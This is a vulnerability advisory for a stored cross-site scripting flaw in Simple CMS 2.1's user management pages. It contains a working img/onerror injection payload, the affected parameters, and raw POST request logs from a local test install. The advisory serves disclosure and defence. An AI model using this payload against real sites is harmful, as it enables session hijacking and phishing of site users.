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Simplephpscripts Simple CMS 2.1 - 'Multiple' Stored Cross-Site Scripting (XSS)


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# Exploit Title: Simplephpscripts Simple CMS 2.1 - 'Multiple' Stored Cross-Site Scripting (XSS)
# Date: 2021-10-19
# Exploit Author: Vulnerability Lab
# Vendor Homepage: https://simplephpscripts.com/simple-cms-php
# Version: 2.1
# Tested on: Linux

Document Title:
Simplephpscripts Simple CMS v2.1 - Persistent Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Vulnerability Class:
Cross Site Scripting - Persistent

Current Estimated Price:
500€ - 1.000€

Product & Service Introduction:
The system could be used only in already existing websites to control their page sections and contents.
Just paste a single line of code on your web page section and start controlling it through the admin area.
Very simple installation - one step installation wizard. Option to include contents into web page sections
through php include, javascript or iframe embed. Any language support. WYSIWYG(text) editor to styling and
format contents of the sections. Suitable for web designers who work with Mobirise, Xara and other web builders.

(Copy of the Homepage: https://simplephpscripts.com/simple-cms-php )

Abstract Advisory Information:
The vulnerability laboratory core research team discovered a persistent cross site scripting vulnerability in the Simplephpscripts Simple CMS v2.1 web-application.

Affected Product(s):
Product: Simple CMS v2.1 - Content Management System (Web-Application)

Vulnerability Disclosure Timeline:
2021-09-03: Researcher Notification & Coordination (Security Researcher)
2021-09-04: Vendor Notification (Security Department)
2021-**-**: Vendor Response/Feedback (Security Department)
2021-**-**: Vendor Fix/Patch (Service Developer Team)
2021-**-**: Security Acknowledgements (Security Department)
2021-10-19: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Exploitation Technique:

Severity Level:

Authentication Type:
Full Authentication (Admin/Root Privileges)

User Interaction:
Low User Interaction

Disclosure Type:
Responsible Disclosure

Technical Details & Description:
A persistent input validation web vulnerability has been discovered in the Simplephpscripts Simple CMS v2.1 web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise
browser to web-application requests from the application-side.

The persistent cross site web vulnerability is located in `name`, `username`, `password` parameters of the `newUser`
or `editUser` modules. Remote attackers with privileged application user account and panel access are able to inject
own malicious script code as credentials. The injected code executes on preview of the users list. The request method
to inject is post and the attack vector is persistent.

Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent
external redirects to malicious source and persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] newUser
[+] editUser

Vulnerable File(s):
[+] admin.php?act=users

Vulnerable Input(s):
[+] Name
[+] Username
[+] Password

Vulnerable Parameter(s):
[+] name
[+] username
[+] password

Affected Module(s):
[+] Users (act=users) (Backend)

Proof of Concept (PoC):
The persistent input validation web vulnerability can be exploited by remote attackers with privileged account and with low user interaction.
For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.

PoC: Payload
"><img src='31337'onerror=alert(0)></img>

Vulnerable Source: admin.php?act=users
<td class="headlist"><a href="admin.php?act=users&orderType=DESC&orderBy=name">Name</a></td>
<td class="headlist" width="23%"><a href="admin.php?act=users&orderType=DESC&orderBy=email">Email</a></td>
<td class="headlist" width="23%"><a href="admin.php?act=users&orderType=DESC&orderBy=username">Username</a></td>
<td class="headlist" width="23%">Password</td>
<td class="headlist" colspan="2">&nbsp;</td>
<td class="bodylist">c"><img src='31337'onerror=alert(0)></img></td>
<td class="bodylist">[email protected]</td>
<td class="bodylist">d"><img src='31337'onerror=alert(0)></img></td>
<td class="bodylist">e"><img src='31337'onerror=alert(0)></img></td>
<td class="bodylistAct"><a href="admin.php?act=editUser&id=7" title="Edit"><img class="act" src="images/edit.png" alt="Edit"></a></td>
<td class="bodylistAct"><a class="delete" href="admin.php?act=delUser&id=7" onclick="return confirm('Are you sure you want to delete it?');"
title="DELETE"><img class="act" src="images/delete.png" alt="DELETE"></a></td>

--- PoC Session Logs (POST) [Create] ---
Host: simple-cms.localhost:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 141
Origin: https://simple-cms.localhost:8000
Connection: keep-alive
Referer: https://simple-cms.localhost:8000/simplecms/admin.php?act=newUser
Cookie: PHPSESSID=9smae9mm1m1misttrp1a2e1p23
act=addUser&name=c"><img src='31337'onerror=alert(0)></img>&[email protected]
&username=d"><img src='31337'onerror=alert(0)></img>
&password=e"><img src='31337'onerror=alert(0)></img>&submit=Add User
POST: HTTP/2.0 200 OK
server: Apache
content-length: 5258
content-type: text/html; charset=UTF-8
Host: simple-cms.localhost:8000
Accept: image/webp,*/*
Connection: keep-alive
Referer: https://simple-cms.localhost:8000/simplecms/admin.php
Cookie: PHPSESSID=9smae9mm1m1misttrp1a2e1p23
GET: HTTP/2.0 200 OK
server: Apache
content-length: 196
content-type: text/html; charset=iso-8859-1


Credits & Authors:
Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

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